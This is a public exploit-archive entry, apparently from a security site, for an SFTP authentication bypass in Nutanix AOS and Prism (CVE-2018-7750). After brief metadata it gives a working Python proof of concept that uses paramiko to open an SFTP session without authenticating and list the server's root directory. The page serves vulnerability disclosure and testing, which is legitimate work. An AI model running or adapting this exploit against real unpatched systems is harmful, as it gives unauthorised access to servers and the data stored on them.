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Nutanix AOS And Prism SFTP Authentication Bypass

Nutanix AOS And Prism SFTP Authentication Bypass
Posted Oct 30, 2018
Authored by Adam Brown

Nutanix AOS and Prism suffer from an SFTP authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2018-7750
MD5 | ac2dac9ef3526eb84db25918200c0f2b

Nutanix AOS And Prism SFTP Authentication Bypass

Change Mirror Download
# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.nutanix.org
# Software Link: https://www.nutanix.com/products/software-options/
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)
# Tested on: Acropolis Operating System
# CVE : Related to CVE-2018-7750
#
# This PoC is based on discussions found at the following blog post:
# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the
# authentication step before allowing the client to open channels. The PoC below
# connects to the acropolis SFTP server, and lists the root directory without
# authenticating.

#!/usr/bin/python
import paramiko

host = '127.0.0.1'
port = 2222

trans = paramiko.Transport((host, port))
trans.start_client()

# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()


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